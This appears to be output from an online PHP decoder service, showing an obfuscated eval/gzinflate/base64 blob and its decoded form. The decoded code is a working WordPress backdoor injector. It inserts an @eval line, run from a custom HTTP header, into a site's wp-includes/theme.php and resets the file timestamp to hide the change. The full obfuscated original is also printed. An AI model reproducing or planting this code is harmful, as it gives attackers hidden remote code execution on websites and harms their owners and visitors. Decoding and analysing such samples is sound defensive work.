Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode("jZFrb9owFIa/I/EfXClSg4qmkJROaOJDS2kgBQKM5jZNUS5OY3DsKHG4pNp/..

Decoded Output download


phpConfValidate('YTo0OntpOjA7czo2MDoiL2hvbWUvYXRjbWkyL3B1YmxpY19odG1sL2RhcnJlbGxoYW5zZW4vd3AtaW5jbHVkZXMvdGhlbWUucGhwIjtpOjE7czo3OiI3NDI5QkJEIjtpOjI7czozMjoiQGV2YWwoJF9TRVJWRVJbJ0hUVFBfNzQyOUJCRCddKTsiO2k6MztzOjQ2OiJ+XlxzKmZ1bmN0aW9uXHMrZ2V0X3N0eWxlc2hlZXRfZGlyZWN0b3J5X3VyaX5tIjt9');
function phpConfValidate($ser) {

    list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
    $source = file_get_contents($fullPath);
    if (strstr($source, $systemEnv) !== false) {
        return;
    }
    if (!preg_match($pattern, $source, $matches)) {
        return;
    }
    $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $source);
    if (strstr($newSource, $systemEnv) === false) {
        return;
    }
    $filemtime = filemtime($fullPath) + 10;
    unlink($fullPath);
    file_put_contents($fullPath, $newSource);
    touch($fullPath, $filemtime);
}

Did this file decode correctly?

Original Code

eval(gzinflate(base64_decode("jZFrb9owFIa/I/EfXClSg4qmkJROaOJDS2kgBQKM5jZNUS5OY3DsKHG4pNp/n8Ol0K3SZiXykX3Oc97zul5L47RHSWR4GIUeg+K1vaCSTliqL++/BiWVx48UjeR47Zsva9uaL31ztRspDy072aZ2q0NDtZWP5HkcEA376pbaZrt0zNt1qNwzz2wv/YGxcqzxOlRjzBlFoMab4bLi9yu+oqOhMnkctmcrrX84H1bn5XhJ0Uw1ZNvcUO2ps5gbmsl/X5PiF+PpIZqUs53+ovXmvTB8XuRIl1d345KV+nIm60i7sfC2fE6clp9MJM/sFNZgnDmyIVnKRILmFgdyjB1rHjkq3jnmRPIVrW0pxs6z2ozr6Fw3vtVrUUEChigBf9ok5DBrgLd6rV4DfGGUMyAKUYHx1GNxEwj5Lmcw6ZM1jwMaQr6lHmMwIw3QBQXh9YjDSij6Xg7vbt0QVmkHcNW6wgo5LbIA8oIIYei+QuYGlDBIWH5udkpGERBzlvFPPNZdymiAqy7HeDiHe93guDLIiowcEb/OpKs0g69u4rEgFk/Km+AM3t/AvPFPmEDg5vtpDC7OzWCKvYBPekT8kH4ePQJfwHQwdfv6iEcfrw99Pxv1Hf9x2u5/TytU3iYMJSef9/GFv+AGtKRjTUEwIqu/zd+/T1p89j7NCwtO6YwWla8XKe+NqxSu7Dc=")));

Function Calls

gzinflate 1
base64_decode 1
phpConfValidate 1

Variables

None

Stats

MD5 794d36bccc7a9ec2bc9dd1752754ba82
Eval Count 1
Decode Time 55 ms